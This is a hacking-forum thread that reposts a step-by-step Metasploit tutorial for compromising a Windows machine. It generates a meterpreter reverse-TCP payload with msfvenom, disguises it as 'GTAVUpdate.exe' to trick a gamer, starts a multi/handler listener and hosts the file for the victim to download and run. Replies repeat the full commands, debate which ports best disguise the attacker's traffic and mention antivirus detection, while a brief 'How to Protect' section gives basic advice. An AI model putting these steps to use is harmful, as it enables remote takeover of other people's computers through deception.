Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

How to simply hack Windows with Metasploit

Before creating the metasploit, we need to figure out what is our Kali Linux local IP.

For that, run ```ip addr``` or ```ifconfig```


Get the IPv4 Local IP
Now let’s get hands dirty!

In the terminal run the follow command:

msfvenom -p windows/meterpreter/reverse_tcp -a x86 –platform windows -f exe LHOST=192.168.195.72 LPORT=4444 -o /root/Desktop/GTAVUpdate.exe

The command above instructs msfvenom to generate a 32-bit Windows executable file that implements a reverse TCP connection for the payload. The format must be specified as being type .exe, and the local host (LHOST) and local port (LPORT) have to be defined. In our case, the LHOST is the IP address of our attacking Kali Linux machine that we got in the last command, and the LPORT is the port to listen on for a connection from the target once it has been compromised.

The name of the .exe is up to you. In this case I’ll be using GTAVUpdate.exe because our target will be a gamer that we know has GTA V.

Connection
We now need to set up a listener on the port we determined within the executable. We do this by launching Metasploit using the command msfconsole on the Kali Linux terminal.


The screenshot below shows what commands to issue within Metasploit. First, we’ll tell Metasploit to use the generic payload handler “multi/handler” using the command ```use multi/handler```. We will then set the payload to match the one set within the executable using the command ```set payload windows/meterpreter/reverse_tcp```. We will then set the LHOST and LPORT this way — ```set LHOST 192.168.195.72``` and set ```LPORT 4444```. Once done, type ```run``` or ```exploit```and press Enter.

The screenshot below displays the output. The reverse TCP handler should begin waiting for a connection.


You can use show options to check if everything’s ok


If everything’s ok type run or exploit


Social Engineer
Now it’s the part that you need to do some social engineer in order to make the user execute the program.

For this tutorial we will simply host the .exe on apache2 and transfer it on the Windows Machine.


On the Windows machine you just need to access via the browser the IP/File.exe

In our case is 192.168.192.72/GTAVUpdate.exe



Now execute and check the connection on the Kali Machine.


As you can see we are now connected to the victim machine.

Now we can do a lot of things.



How to Protect
For this type of attacks the most important thing is to have the Firewall enabled. Windows Defender makes a good job protecting files like this.

Dont’ forget to keep your Windows always updated and also don’t execute programs that you don’t know for sure that are original and signed.

Hope you enjoyed
really good knowledge ! i am about to try it !! thanks mate
This tutorial was copied just now from the source here: https://medium.com/@leandro.almeida/hack...9c283db99a

Which is completely fine. Except the original link has proper pictures with every step and everything is formatted in a way it can be understood :)

You should include the original link in your original post.
(Jul 22, 2024 10:51 PM)amar7652 Wrote:  Before creating the metasploit, we need to figure out what is our Kali Linux local IP.

For that, run ```ip addr``` or ```ifconfig```


Get the IPv4 Local IP
Now let’s get hands dirty!

In the terminal run the follow command:

msfvenom -p windows/meterpreter/reverse_tcp -a x86 –platform windows -f exe LHOST=192.168.195.72 LPORT=4444 -o /root/Desktop/GTAVUpdate.exe

The command above instructs msfvenom to generate a 32-bit Windows executable file that implements a reverse TCP connection for the payload. The format must be specified as being type .exe, and the local host (LHOST) and local port (LPORT) have to be defined. In our case, the LHOST is the IP address of our attacking Kali Linux machine that we got in the last command, and the LPORT is the port to listen on for a connection from the target once it has been compromised.

The name of the .exe is up to you. In this case I’ll be using GTAVUpdate.exe because our target will be a gamer that we know has GTA V.

Connection
We now need to set up a listener on the port we determined within the executable. We do this by launching Metasploit using the command msfconsole on the Kali Linux terminal.


The screenshot below shows what commands to issue within Metasploit. First, we’ll tell Metasploit to use the generic payload handler “multi/handler” using the command ```use multi/handler```. We will then set the payload to match the one set within the executable using the command ```set payload windows/meterpreter/reverse_tcp```. We will then set the LHOST and LPORT this way — ```set LHOST 192.168.195.72``` and set ```LPORT 4444```. Once done, type ```run``` or ```exploit```and press Enter.

The screenshot below displays the output. The reverse TCP handler should begin waiting for a connection.


You can use show options to check if everything’s ok


If everything’s ok type run or exploit


Social Engineer
Now it’s the part that you need to do some social engineer in order to make the user execute the program.

For this tutorial we will simply host the .exe on apache2 and transfer it on the Windows Machine.


On the Windows machine you just need to access via the browser the IP/File.exe

In our case is 192.168.192.72/GTAVUpdate.exe



Now execute and check the connection on the Kali Machine.


As you can see we are now connected to the victim machine.

Now we can do a lot of things.



How to Protect
For this type of attacks the most important thing is to have the Firewall enabled. Windows Defender makes a good job protecting files like this.

Dont’ forget to keep your Windows always updated and also don’t execute programs that you don’t know for sure that are original and signed.

Hope you enjoyed

Windows Defender Firewall won't normally block this. Any antivirus will, though.
meterpreter is immediately flagged by any antivirus out there
Fairly new. before hand would you run a scan on the IP to find what ports are open and then specify which port is open in the command?

"msfvenom -p windows/meterpreter/reverse_tcp -a x86 –platform windows -f exe LHOST=192.168.195.72 LPORT=4444 -o /root/Desktop/GTAVUpdate.exe"

example if port 22 was open: msfvenom -p windows/meterpreter/reverse_tcp -a x86 –platform windows -f exe LHOST=123.456.789.10 LPORT=22 -o /root/Desktop/GTAVUpdate.exe"
(Aug 5, 2024 01:02 PM)Had3s03 Wrote:  Fairly new. before hand would you run a scan on the IP to find what ports are open and then specify which port is open in the command?

"msfvenom -p windows/meterpreter/reverse_tcp -a x86 –platform windows -f exe LHOST=192.168.195.72 LPORT=4444 -o /root/Desktop/GTAVUpdate.exe"

example if port 22 was open: msfvenom -p windows/meterpreter/reverse_tcp -a x86 –platform windows -f exe LHOST=123.456.789.10 LPORT=22 -o /root/Desktop/GTAVUpdate.exe"

Good Lord, no! If anything, you would only want ports that are closed. The default of port 4444 is a good choice.
(Aug 5, 2024 07:27 PM)DramaKing Wrote:  Good Lord, no! If anything, you would only want ports that are closed. The default of port 4444 is a good choice.

My fault OG, didn't mean to come across badly. I'm about to start school for Cybersecurity so im sure ill learn all about this and more. Was just brousing the forum to try and get a little understanding of stuff early.
(Aug 5, 2024 11:10 PM)Had3s03 Wrote:  My fault OG, didn't mean to come across badly. I'm about to start school for Cybersecurity so im sure ill learn all about this and more. Was just brousing the forum to try and get a little understanding of stuff early.

Learn about port and socket bindings, as well as types of ports and why there are different ports.
(Aug 6, 2024 04:17 AM)DramaKing Wrote:  Learn about port and socket bindings, as well as types of ports and why there are different ports.

o7
it will be blocked by AV
I have a doubt about the following below:

"The command above instructs msfvenom to generate a 32-bit Windows executable file that implements a reverse TCP connection for the payload. "
Why 32 bits windows? I thought 64 bits was the normal these days. Can anybody explain this to me? Just curious guys.
Interesting topic thank you
(Aug 9, 2024 10:44 AM)Ivanov_1 Wrote:  I have a doubt about the following below:

"The command above instructs msfvenom to generate a 32-bit Windows executable file that implements a reverse TCP connection for the payload. "
Why 32 bits windows? I thought 64 bits was the normal these days. Can anybody explain this to me? Just curious guys.

x86 binaries are still compatible with modern versions of Windows. You probably have several programs yourself under C:\Program Files (x86). But 64-bit does seem the natural choice when available.
(Aug 5, 2024 07:27 PM)DramaKing Wrote:  Good Lord, no! If anything, you would only want ports that are closed. The default of port 4444 is a good choice.

wrong. it is a good idea to use open ports as it is easier to disguise the traffic. if the ports are open it is usually a deliberate choice by the sysadmin thus offering more lax firewall rules for these ports also.


(Aug 5, 2024 11:10 PM)Had3s03 Wrote:  My fault OG, didn't mean to come across badly. I'm about to start school for Cybersecurity so im sure ill learn all about this and more. Was just brousing the forum to try and get a little understanding of stuff early.

it was a valid question. and you were correct, it is a good idea to use ports that are already open on the target.


Possibly Related Threads...
Thread / Author Replies Views Last Post
by VipVinceMay 15, 2026 06:38 PM 103 6,575 May 15, 2026 06:38 PM
Last Post: theprox0517
by spirited_wolf™Jun 23, 2017 08:03 PM 47 3,176 Jun 23, 2017 08:03 PM
Last Post: bikashmaji
by 2_H8Oct 13, 2016 09:42 AM 61 9,308 Oct 13, 2016 09:42 AM
Last Post: Reptile-Ermac